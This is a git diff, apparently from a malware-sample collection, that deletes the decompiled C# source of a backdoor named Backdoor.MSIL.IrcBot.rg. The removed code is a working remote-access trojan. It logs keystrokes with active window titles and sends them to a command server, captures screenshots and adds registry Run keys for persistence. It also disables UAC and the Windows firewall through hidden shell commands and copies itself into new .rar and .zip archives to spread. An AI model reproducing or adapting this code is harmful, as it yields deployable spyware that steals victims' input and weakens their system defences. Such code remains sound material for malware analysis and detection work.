- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false))
- Thread.Sleep(2000);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false))
- {
- try
- {
- Array Instance2 = Instance1;
- object[] objArray1 = new object[1];
- object[] objArray2 = objArray1;
- int num = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num;
- objArray2[0] = (object) local;
- object[] Arguments = objArray1;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num,
- (object) s
- }, (string[]) null, true, false);
- System.IO.File.Delete(path);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false))
- {
- B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath;
- MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR));
- }
- else
- {
- string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*"));
- B.FR = API.DEB(ref s);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.FR = "*";
- ProjectData.ClearProjectError();
- }
- try
- {
- this.R();
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- B.SU = "*";
- B.mU = "*";
- try
- {
- Registry.CurrentUser.CreateSubKey("nKey");
- B.Nkey = Registry.CurrentUser.OpenSubKey("nKey", true);
- B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", (object) B.Vname));
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectEqual(B.Nkey.GetValue("FT", (object) ""), (object) "", false))
- {
- B.FT = true;
- B.Nkey.SetValue("FT", (object) "&");
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.cc = 4;
- this.wL.Interval = 1000;
- this.wL.Enabled = true;
- if (B.UU)
- this.BW.B.RunWorkerAsync();
- new Thread(new ThreadStart(B.E)).Start();
- try
- {
- Interaction.Shell("reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- new Thread(new ThreadStart(B.Key.Start)).Start();
- this.con();
- }
-
- public void wL_()
- {
- this.wL.Enabled = false;
- try
- {
- ++this.cc;
- ++this.c0;
- if (this.c2 < 5)
- ++this.c2;
- if (this.c2 == 5)
- {
- try
- {
- foreach (Process process1 in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName))
- {
- try
- {
- if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName))
- {
- if (process1.Id != Process.GetCurrentProcess().Id)
- {
- try
- {
- process1.Kill();
- foreach (Process process2 in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process2.Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- if (B.Cht.Length > 0)
- {
- B.Chat = new chat();
- chat.clos = false;
- B.Chat.nick = B.Cht;
- B.Chat.Show();
- B.Cht = "";
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.Cht = "";
- ProjectData.ClearProjectError();
- }
- if (Operators.CompareString(B.SU, "*", false) != 0)
- {
- if (this.cc > 4)
- {
- try
- {
- RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
- registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @.."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
- registryKey.SetValue(B.SU, (object) Application.ExecutablePath);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.cc = 0;
- }
- }
- try
- {
- if (this.WC.Connected())
- {
- if (B.ISEND)
- {
- string T;
- if (B.FT & !B.isFT)
- {
- B.isFT = true;
- T = "#blue";
- this.SEND(ref T);
- Thread.Sleep(100);
- }
- bool p = false;
- string str = API.A1(ref p);
- if (Operators.CompareString(this.LA, str, false) != 0)
- {
- if (Operators.CompareString(str, "", false) != 0)
- {
- this.LA = str;
- T = "#3" + IND.Y + this.LA;
- this.SEND(ref T);
- }
- }
- }
- }
- else
- {
- this.Dis();
- this.con();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- this.Dis();
- this.con();
- ProjectData.ClearProjectError();
- }
- if (this.c0 > 3 & Operators.CompareString(B.XRec, "", false) == 0)
- {
- this.c0 = 1;
- try
- {
- if (Operators.CompareString(Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(), this.IP, false) != 0)
- {
- this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
- try
- {
- this.Dis();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.wL.Enabled = true;
- }
-
- public void con()
- {
- Thread.Sleep(1500);
- try
- {
- try
- {
- this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.CL();
- B.DS = false;
- if (B.Fw)
- {
- try
- {
- string path = IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id);
- byte[] p = n.My.Resources.Resources.P;
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(p, ref local);
- System.IO.File.WriteAllBytes(path, bytes);
- Interaction.Shell(IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id) + " " + Conversions.ToString(Process.GetCurrentProcess().Id));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- if (!B.netsh)
- {
- B.netsh = true;
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "netsh",
- Arguments = "firewall set opmode disable",
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- this.WC = new SocketsClient();
- if (B.Rec)
- {
- B.Rec = false;
- this.WC.Connect(Strings.Split(B.XRec, ":")[0], Conversions.ToInteger(Strings.Split(B.XRec, ":")[1]));
- }
- else
- this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1]));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void Dis()
- {
- try
- {
- this.CL();
- B.DS = true;
- B.ISEND = false;
- this.WC.Disconnect();
- this.WC = (SocketsClient) null;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void SEND(ref string T)
- {
- try
- {
- this.WC.SendData(this.WC.STB(T));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void W0()
- {
- try
- {
- string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname;
- this.SEND(ref T);
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- try
- {
- string str = "X";
- int num = 0;
- do
- {
- str += "\r\nX";
- ++num;
- }
- while (num <= 5);
- string T = "#2" + IND.Y + str + IND.Y + B.Vname;
- this.SEND(ref T);
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- B.ISEND = true;
- Thread.Sleep(100);
- if (B.Fw)
- {
- try
- {
- Process.GetProcessesByName(Conversions.ToString(Process.GetCurrentProcess().Id))[0].Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Thread.Sleep(10);
- System.IO.File.Delete(IND.TM + Process.GetCurrentProcess().Id.ToString());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- this.CL();
- B.DS = false;
- }
-
- public void W1(string T) => this.CL();
-
- public void W2()
- {
- this.CL();
- B.DS = true;
- B.ISEND = false;
- }
-
- public void W3(byte[] Data, int totBytes)
- {
- try
- {
- MemoryStream memoryStream1 = new MemoryStream();
- string Right = "nj-q8";
- byte[] bytes = new byte[5];
- int num = Data.Length - Right.Length;
- for (int count = 0; count <= num; ++count)
- {
- bytes[0] = Data[count];
- bytes[1] = Data[count + 1];
- bytes[2] = Data[count + 2];
- bytes[3] = Data[count + 3];
- bytes[4] = Data[count + 4];
- if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0)
- {
- memoryStream1.Dispose();
- MemoryStream memoryStream2 = new MemoryStream();
- memoryStream2.Write(Data, 0, count);
- this.WC.AT(memoryStream2.ToArray());
- if (Data.Length - memoryStream2.ToArray().Length <= 5)
- break;
- memoryStream2.ToArray();
- memoryStream2.Dispose();
- MemoryStream memoryStream3 = new MemoryStream();
- memoryStream3.Write(Data, count + 5, Data.Length - count - 10);
- this.WC.AT(memoryStream3.ToArray());
- memoryStream3.Dispose();
- break;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void fs_Created(object sender, FileSystemEventArgs e)
- {
- try
- {
- if (!(e.FullPath.ToLower().EndsWith(".rar") | e.FullPath.ToLower().EndsWith(".zip")))
- return;
- if (!System.IO.File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui))
- {
- try
- {
- System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true);
- System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- }
- else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath))
- {
- System.IO.File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui);
- System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true);
- System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal);
- }
- foreach (string Right in B.Block)
- {
- if (Operators.CompareString(e.FullPath, Right, false) == 0)
- return;
- }
- B.Block[B.inx] = e.FullPath;
- ++B.inx;
- Thread.Sleep(4000);
- if (!System.IO.File.Exists(e.FullPath))
- return;
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "winrar",
- Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"",
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ++B.err;
- if (B.err > 9)
- {
- this.fs.EnableRaisingEvents = false;
- this.fs.Dispose();
- }
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ++B.err;
- if (B.err > 9)
- {
- this.fs.EnableRaisingEvents = false;
- this.fs.Dispose();
- }
- ProjectData.ClearProjectError();
- }
- }
-
- public class Key
- {
- private static Clock Clock = new Clock();
- private static Keyboard K = new Keyboard();
-
- public static void Start()
- {
- try
- {
-label_9:
- if (false)
- return;
- Thread.Sleep(10);
- int i = 8;
- do
- {
- if (B.Key.GetAsyncKeyState(i) == (short) -32767)
- {
- string Left;
- if (Operators.CompareString(Left, B.Key.w(), false) == 0)
- {
- string S = B.Key.KK(ref i);
- B.Key.Write(ref S);
- }
- else
- {
- if ((object) B.Key.w() != (object) "" & (object) B.Key.w() != (object) " ")
- {
- Left = B.Key.w();
- string S = B.Key.HM() + Left + "\r\n\r\n";
- B.Key.Write(ref S);
- }
- string S1 = B.Key.KK(ref i);
- B.Key.Write(ref S1);
- }
- }
- ++i;
- }
- while (i <= (int) byte.MaxValue);
- goto label_9;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] ";
-
- public static void Write(ref string S)
- {
- if (B.KON)
- {
- try
- {
- B b = MyProject.Forms.B;
- string str = "X" + IND.Y + S;
- ref string local = ref str;
- b.SEND(ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.KON = false;
- ProjectData.ClearProjectError();
- }
- }
- byte[] bytes = Encoding.Default.GetBytes(S);
- FileStream fileStream = new FileStream(Application.StartupPath + "\\" + B.exename, FileMode.Append);
- fileStream.Write(bytes, 0, bytes.Length);
- int length = (int) fileStream.Length;
- fileStream.Close();
- if (length <= 20480)
- return;
- try
- {
- System.IO.File.Delete(Application.StartupPath + "\\" + B.exename);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string KK(ref int i)
- {
- string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\"";
- string str = ")!@#$%^&*(";
- switch (i)
- {
- case 8:
- return "{BACKSPACE}";
- case 9:
- return "{TAP}";
- case 12:
- return "\r\n";
- case 13:
- return "\r\n";
- case 27:
- return "{ESC}";
- case 32:
- return " ";
- case 46:
- return "{DEL}";
- case 186:
- return B.Key.u() ? ":" : ";";
- case 187:
- return B.Key.u() ? "+" : "=";
- case 188:
- return B.Key.u() ? "<" : ",";
- case 189:
- return B.Key.u() ? "_" : "-";
- case 190:
- return B.Key.u() ? ">" : ".";
- case 191:
- return B.Key.u() ? "?" : "/";
- case 192:
- return B.Key.u() ? "~" : "`";
- case 219:
- return B.Key.u() ? "{" : "[";
- case 220:
- return B.Key.u() ? "|" : "\\";
- case 221:
- return B.Key.u() ? "}" : "]";
- case 222:
- return B.Key.u() ? "\"" : "'";
- default:
- if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0)
- return "";
- if (!B.Key.u())
- return Strings.ChrW(i).ToString().ToLower();
- try
- {
- int index = 0;
- while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index)
- {
- ++index;
- if (index > 9)
- goto label_48;
- }
- return Conversions.ToString(str[index]);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
-label_48:
- return Strings.ChrW(i).ToString().ToUpper();
- }
- }
-
- public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown;
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern short GetAsyncKeyState(int vKey);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern IntPtr GetForegroundWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowTextLength(long hwnd);
-
- public static string w()
- {
- string str;
- try
- {
- IntPtr foregroundWindow = B.Key.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- str = " ";
- }
- else
- {
- int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow);
- string WinTitle = Strings.StrDup(windowTextLength + 1, "*");
- B.Key.GetWindowText(foregroundWindow, ref WinTitle, windowTextLength + 1);
- int lpdwProcessID;
- B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID);
- if (lpdwProcessID == 0)
- {
- str = WinTitle;
- }
- else
- {
- try
- {
- str = Process.GetProcessById(lpdwProcessID).MainWindowTitle;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str = WinTitle;
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str = " ";
- ProjectData.ClearProjectError();
- }
- return str;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj
deleted file mode 100644
index dd46bdb7..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj
+++ /dev/null
@@ -1,65 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {25A997B7-BB0C-4915-B3B4-74C2FF507831}
- WinExe
- n
- 0.0.0.0
- n
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln
deleted file mode 100644
index ee9adc28..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "n", "Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.csproj", "{25A997B7-BB0C-4915-B3B4-74C2FF507831}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs
deleted file mode 100644
index 241aaa1a..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs
+++ /dev/null
@@ -1,152 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.C
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Threading;
-
-namespace n
-{
- public class C
- {
- public static byte[] Plug;
-
- public static object inv(ref byte[] F, ref string C, ref string S, ref object P)
- {
- Assembly assembly = Assembly.Load(F);
- return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P);
- }
-
- public static Image Capture(ref int hwd)
- {
- API.wd.ShowWindow(hwd, 5);
- Thread.Sleep(100);
- C.RECT lpRect = new C.RECT();
- C.GetWindowRect((IntPtr) hwd, ref lpRect);
- string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom);
- int index = 0;
- int num1;
- for (int length = str.Length; index < length; ++index)
- {
- if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0)
- ++num1;
- }
- if (num1 == 4)
- {
- ref int local1 = ref hwd;
- int num2 = 2;
- ref int local2 = ref num2;
- API.wd.G(ref local1, ref local2);
- ref int local3 = ref hwd;
- int num3 = 1;
- ref int local4 = ref num3;
- API.wd.G(ref local3, ref local4);
- C.GetWindowRect((IntPtr) hwd, ref lpRect);
- }
- Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
- Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
- graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
- graphics1.Dispose();
- Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap1.Dispose();
- Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
- Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
- graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
- graphics2.Dispose();
- return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- }
-
- public static byte[] Capture1(ref int q)
- {
- IntPtr foregroundWindow = API.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- return new MemoryStream(sc.gc(ref q)).ToArray();
- int num;
- switch (q)
- {
- case 0:
- num = 65;
- break;
- case 1:
- num = 60;
- break;
- case 2:
- num = 55;
- break;
- case 3:
- num = 50;
- break;
- case 4:
- num = 45;
- break;
- case 5:
- num = 40;
- break;
- case 6:
- num = 35;
- break;
- case 7:
- num = 30;
- break;
- case 8:
- num = 25;
- break;
- case 9:
- num = 20;
- break;
- case 10:
- num = 10;
- break;
- }
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
- C.RECT lpRect = new C.RECT();
- C.GetWindowRect(foregroundWindow, ref lpRect);
- Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
- Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
- graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
- graphics1.Dispose();
- Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap1.Dispose();
- Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
- Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
- graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
- graphics2.Dispose();
- MemoryStream memoryStream = new MemoryStream();
- bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams);
- return memoryStream.ToArray();
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetDesktopWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetWindowDC(IntPtr hwnd);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect);
-
- public struct RECT
- {
- public int left;
- public int top;
- public int right;
- public int bottom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs
deleted file mode 100644
index 1c0f4d01..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-// Decompiled with JetBrains decompiler
